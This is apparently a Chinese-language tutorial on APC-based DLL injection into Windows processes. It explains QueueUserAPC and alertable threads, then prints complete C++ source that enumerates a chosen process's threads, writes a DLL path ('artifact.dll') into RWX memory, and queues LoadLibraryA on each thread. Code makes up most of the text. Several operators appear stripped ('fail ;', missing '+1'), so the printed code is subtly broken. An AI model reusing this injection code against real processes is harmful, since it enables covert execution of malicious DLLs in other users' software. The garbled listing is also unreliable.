实现效果如下所示
APC注入APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
这里去看一下msdn中异步过程调用的解释如下
首先第一个函数
QueueUserApc: 函数作用,添加指定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC,APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的,如msdn所示
核心函数QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。
实现原理在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。
通俗点来概括过程可分为以下几步:
1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
但是想要使用apc注入也有以下两点条件:
1.必须是多线程环境下
2.注入的程序必须会调用那些同步对象
每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用SleepEx等上面说到的几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。
实现过程这里的常规思路是编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然后是apc注入的主函数,首先使用VirtualAllocEx远程申请内存
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory把dll路径写入内存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr)
再获取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
遍历线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC返回的值为NULL则线程遍历失败,fail的值就 1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail ;
}
}
}
然后在到主函数,定义dll地址
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
使用OpenProcess打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
调用之前写好的APCInject函数实现APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
完整代码如下
// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍历线程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail ;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else // _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
之前说过我没有使用进程名 -> pid的方式,而是直接采用手动输入的方式,通过cin >> ulProcessID将接收到的参数赋给ulProcessID